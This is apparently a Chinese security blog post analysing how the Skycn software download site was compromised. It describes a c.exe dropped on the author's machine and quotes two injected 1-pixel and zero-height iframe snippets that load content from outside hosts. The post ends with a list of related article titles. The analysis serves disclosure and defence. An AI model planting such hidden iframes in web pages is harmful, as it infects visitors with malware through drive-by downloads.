|
[组图]天空软件站被挂马
天空软件站是中国最大的软件下载站之一，如今它被挂马了，那么想必已经有几千万人中招了。Monyer并不是危言耸听，下面的分析将证明这不是个笑话。
今天偶尔上天空看我的UDisk时(重要提醒，天空有病毒不要打开，晕了！)，发现Maxthon居然弹出程序运行警告，提示我在c盘下有个c.exe文件要运行，不知道其他人遇到这种情况怎么想，反正从我电脑上出现便成了一件恐怖的事情。看了看任务管理器，内存已经增加了几百兆，很显然被溢出了。再看看C盘的根目录，一个c.exe文件正躺在那里。于是便开始了以下寻马之旅。
通过对天空站的分析，被挂马的页面仅存在于软件下载页面。再通过对加进的javascript和iframe的排除，最后落定被插入的恶意代码为：
| 以下是引用片段： <iframe name=import_frame width=1 height=1 src=http://iplog.skycn.com/wherefrom.php?id=32336 frameborder=no></iframe> |
它将框架的宽高设为1像素即肉眼不可见。下载whereform.php文件发现里面有另外的代码：
| 以下是引用片段： <iframe src=http://www.ip17173.cn/index.html?419891509 width=100 height=0></iframe> |
又一个框架，直接访问将看到两个计数器，挺有意思
| 360卫士发布“装机必备软件”下载 | 02-13 |
| 认清本质 计算机病毒防治常遇问题 | 01-24 |
| 彻底杜绝U盘病毒 多重防护力保平 | 01-18 |
| 不再重装 手动清除顽固病毒AutoR | 01-06 |
| 主动出击 让系统远离危害(图) | 01-06 |
| 如何清除能突破主动防御的新型木 | 01-06 |
| Win32.Loader.c(Win32.Downloade | 11-10 |
| Trojan.DL.Win32.Autorun类病毒的 | 11-10 |
| Ghost XP系统含漏洞藏杀机 伺机破 | 10-09 |
| 天空软件站被挂马 | 10-05 |
| QQ尾巴+社会工程学+第三方Active | 09-27 |
| 企业中进行病毒管理防范的技巧 | 09-27 |
您现在的位置：